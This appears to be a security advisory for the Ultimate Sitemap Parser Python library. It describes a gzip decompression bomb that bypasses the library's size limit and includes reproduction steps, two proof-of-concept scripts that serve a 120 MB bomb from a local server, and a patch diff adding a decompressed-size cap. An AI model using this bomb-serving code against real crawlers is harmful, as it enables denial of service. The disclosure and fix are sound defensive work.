Ultimate Sitemap Parser (USP): Gzip Decompression Bomb Bypasses Sitemap Size Limit

__MAX_SITEMAP_SIZE = 100 * 1024 * 1024  # Max. uncompressed sitemap size

web_client.set_max_response_data_length(self.__MAX_SITEMAP_SIZE)

data = self.__requests_response.content[: self.__max_response_data_length]

response_content = ungzipped_response_content(url=self._url, response=response)

if __response_is_gzipped_data(url=url, response=response):
    data = gunzip(data)

gunzipped_data = gzip_lib.decompress(data)

# Clone the repository at the affected commit
git clone https://github.com/GateNLP/ultimate-sitemap-parser /tmp/usp-repo
cd /tmp/usp-repo
git checkout 182f4642f145230b68e7518e627883edd09168ca

# Build and run via Docker (memory-limited to 512 MiB)
docker build -t usp-vuln-002 -f vuln-002/Dockerfile /path/to/report-dir/
docker run --rm --memory=512m usp-vuln-002

python -m venv /tmp/usp-poc
. /tmp/usp-poc/bin/activate
pip install ultimate-sitemap-parser==1.8.0
python3 poc.py

import gzip, threading
from http.server import BaseHTTPRequestHandler, HTTPServer
from usp.tree import sitemap_tree_for_homepage

# Build a gzip bomb: 120 MB uncompressed, ~549 KB compressed
bomb_xml = (
    b'<?xml version="1.0" encoding="UTF-8"?>'
    b'<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">'
    b'<!--' + b'B' * (120 * 1024 * 1024) + b'-->'
    b'</urlset>'
)
compressed_bomb = gzip.compress(bomb_xml, compresslevel=1)

class BombHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        port = self.server.server_address[1]
        if self.path == "/robots.txt":
            body = f"Sitemap: http://127.0.0.1:{port}/sitemap.xml.gz\n".encode()
            self.send_response(200); self.end_headers(); self.wfile.write(body)
        elif self.path == "/sitemap.xml.gz":
            self.send_response(200)
            self.send_header("Content-Type", "application/x-gzip")
            self.end_headers(); self.wfile.write(compressed_bomb)
        else:
            self.send_response(404); self.end_headers()
    def log_message(self, *a): pass

server = HTTPServer(("127.0.0.1", 0), BombHandler)
port = server.server_address[1]
threading.Thread(target=server.serve_forever, daemon=True).start()

sitemap_tree_for_homepage(f"http://127.0.0.1:{port}/", use_known_paths=False)
server.shutdown()

--- a/usp/helpers.py
+++ b/usp/helpers.py
+import io
 
-def gunzip(data: bytes) -> bytes:
+def gunzip(data: bytes, max_output_bytes: int | None = None) -> bytes:
     try:
-        gunzipped_data = gzip_lib.decompress(data)
+        chunks, total = [], 0
+        with gzip_lib.GzipFile(fileobj=io.BytesIO(data)) as gz:
+            while chunk := gz.read(1024 * 1024):
+                total += len(chunk)
+                if max_output_bytes is not None and total > max_output_bytes:
+                    raise GunzipException(
+                        f"Gunzipped data exceeds maximum size of {max_output_bytes} bytes."
+                    )
+                chunks.append(chunk)
+        gunzipped_data = b"".join(chunks)

-def ungzipped_response_content(url, response):
+def ungzipped_response_content(url, response, max_uncompressed_size=None):
-            data = gunzip(data)
+            data = gunzip(data, max_output_bytes=max_uncompressed_size)

--- a/usp/fetch_parse.py
-        response_content = ungzipped_response_content(url=self._url, response=response)
+        response_content = ungzipped_response_content(
+            url=self._url, response=response,
+            max_uncompressed_size=self.__MAX_SITEMAP_SIZE,
+        )

#!/usr/bin/env python3
"""
Proof-of-Concept for VULN-002:
Gzip Decompression Bomb Bypasses Sitemap Size Limit
GateNLP/ultimate-sitemap-parser 1.8.0

Vulnerability location: usp/helpers.py:239
  gunzipped_data = gzip_lib.decompress(data)   # no max_length

Attack path:
  1. Attacker serves /robots.txt pointing to /sitemap.xml.gz
  2. Library enforces MAX_SITEMAP_SIZE (100 MB) on *compressed* response bytes
  3. Library calls gunzip() with no output-size limit
  4. Small compressed payload expands to >>100 MB in process memory

Expected outcome: gunzip() output size > 100 MB with no exception raised.
"""

import gzip
import sys
import threading
from http.server import BaseHTTPRequestHandler, HTTPServer

# Mirrors usp/fetch_parse.py:64 — the library's declared maximum
MAX_SITEMAP_SIZE = 100 * 1024 * 1024  # 100 MB

# Bomb decompresses to this size (deliberately exceeds the limit)
BOMB_UNCOMPRESSED_MB = 120
BOMB_UNCOMPRESSED_BYTES = BOMB_UNCOMPRESSED_MB * 1024 * 1024


def get_rss_mb() -> float:
    """Read current RSS from /proc/self/status in MB."""
    try:
        with open("/proc/self/status") as fh:
            for line in fh:
                if line.startswith("VmRSS:"):
                    return int(line.split()[1]) / 1024
    except OSError:
        pass
    return 0.0


# ---------------------------------------------------------------------------
# Step 1 — Build the gzip bomb
# ---------------------------------------------------------------------------
print("[*] Building gzip bomb (compresslevel=1, fast) ...")
bomb_xml = (
    b'<?xml version="1.0" encoding="UTF-8"?>'
    b'<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">'
    b'<!--' + b'B' * BOMB_UNCOMPRESSED_BYTES + b'-->'
    b'</urlset>'
)
compressed_bomb = gzip.compress(bomb_xml, compresslevel=1)

print(f"[+] Uncompressed payload : {len(bomb_xml):>12,} bytes  ({len(bomb_xml)/1024/1024:.1f} MB)")
print(f"[+] Compressed bomb      : {len(compressed_bomb):>12,} bytes  ({len(compressed_bomb)/1024/1024:.3f} MB)")
print(f"[+] Library MAX_SITEMAP_SIZE : {MAX_SITEMAP_SIZE:,} bytes (100.0 MB)")
print(f"[+] compressed < limit   : {len(compressed_bomb) < MAX_SITEMAP_SIZE}  "
      f"(bomb passes the size gate)")
print(f"[+] uncompressed > limit : {len(bomb_xml) > MAX_SITEMAP_SIZE}  "
      f"(decompression would exceed intent)")
print()

# ---------------------------------------------------------------------------
# Step 2 — Serve the bomb via a local HTTP server
# ---------------------------------------------------------------------------
class BombHandler(BaseHTTPRequestHandler):
    def do_GET(self) -> None:
        port = self.server.server_address[1]
        if self.path == "/robots.txt":
            body = (
                f"User-agent: *\n"
                f"Sitemap: http://127.0.0.1:{port}/sitemap.xml.gz\n"
            ).encode()
            self.send_response(200)
            self.send_header("Content-Type", "text/plain; charset=utf-8")
            self.send_header("Content-Length", str(len(body)))
            self.end_headers()
            self.wfile.write(body)

        elif self.path == "/sitemap.xml.gz":
            self.send_response(200)
            self.send_header("Content-Type", "application/x-gzip")
            self.send_header("Content-Length", str(len(compressed_bomb)))
            self.end_headers()
            self.wfile.write(compressed_bomb)

        else:
            self.send_response(404)
            self.end_headers()

    def log_message(self, fmt: str, *args: object) -> None:  # silence default log
        print(f"    [HTTP] {self.path}  {fmt % args}")


server = HTTPServer(("127.0.0.1", 0), BombHandler)
port = server.server_address[1]
threading.Thread(target=server.serve_forever, daemon=True).start()
print(f"[*] Bomb server listening on http://127.0.0.1:{port}/")

# ---------------------------------------------------------------------------
# Step 3 — Monkeypatch usp.helpers.gunzip to intercept decompressed size
# ---------------------------------------------------------------------------
import usp.helpers as _helpers

_orig_gunzip = _helpers.gunzip
_intercepted: list[int] = []


def _patched_gunzip(data: bytes) -> bytes:
    result = _orig_gunzip(data)
    _intercepted.append(len(result))
    print(f"    [INTERCEPT] gunzip() input={len(data):,} B  output={len(result):,} B "
          f"({len(result)/1024/1024:.1f} MB)")
    return result


_helpers.gunzip = _patched_gunzip

# ---------------------------------------------------------------------------
# Step 4 — Trigger the vulnerability
# ---------------------------------------------------------------------------
from usp.tree import sitemap_tree_for_homepage

rss_before = get_rss_mb()
print(f"[*] RSS before parse: {rss_before:.1f} MB")
print(f"[*] Calling sitemap_tree_for_homepage(http://127.0.0.1:{port}/) ...")

try:
    _tree = sitemap_tree_for_homepage(
        f"http://127.0.0.1:{port}/",
        use_known_paths=False,
    )
    parse_raised = False
    print("[+] sitemap_tree_for_homepage() returned without exception")
except Exception as exc:
    parse_raised = True
    print(f"[!] sitemap_tree_for_homepage() raised: {exc}")

rss_after = get_rss_mb()
print(f"[*] RSS after  parse: {rss_after:.1f} MB  (delta: +{rss_after - rss_before:.1f} MB)")

server.shutdown()

# ---------------------------------------------------------------------------
# Step 5 — Evaluate and report
# ---------------------------------------------------------------------------
print()
print("=" * 60)
print("EXPLOIT RESULT SUMMARY")
print("=" * 60)

passed = False
reason = "no gunzip intercept captured"

if _intercepted:
    max_decompressed = max(_intercepted)
    print(f"  gunzip() call(s)     : {len(_intercepted)}")
    print(f"  max decompressed     : {max_decompressed:,} bytes ({max_decompressed/1024/1024:.1f} MB)")
    print(f"  library limit        : {MAX_SITEMAP_SIZE:,} bytes (100.0 MB)")
    print(f"  EXCEEDS LIMIT        : {max_decompressed > MAX_SITEMAP_SIZE}")

    if max_decompressed > MAX_SITEMAP_SIZE:
        passed = True
        reason = (
            f"gunzip() decompressed {max_decompressed:,} bytes "
            f"({max_decompressed/1024/1024:.1f} MB), exceeding the "
            f"{MAX_SITEMAP_SIZE/1024/1024:.0f} MB limit without raising an exception"
        )
        print()
        print("  [PASS] Decompression bomb bypassed the size limit.")
        print(f"  compressed={len(compressed_bomb):,} B < limit={MAX_SITEMAP_SIZE:,} B "
              f"(passes gate)")
        print(f"  decompressed={max_decompressed:,} B > limit={MAX_SITEMAP_SIZE:,} B "
              f"(no post-decompress check)")
    else:
        reason = (
            f"gunzip() decompressed {max_decompressed:,} bytes but did not exceed "
            f"{MAX_SITEMAP_SIZE:,} bytes limit"
        )
        print()
        print("  [FAIL] Decompressed size did not exceed limit.")
else:
    print("  [FAIL] gunzip() was not intercepted — sitemap path not reached.")

print("=" * 60)
sys.exit(0 if passed else 1)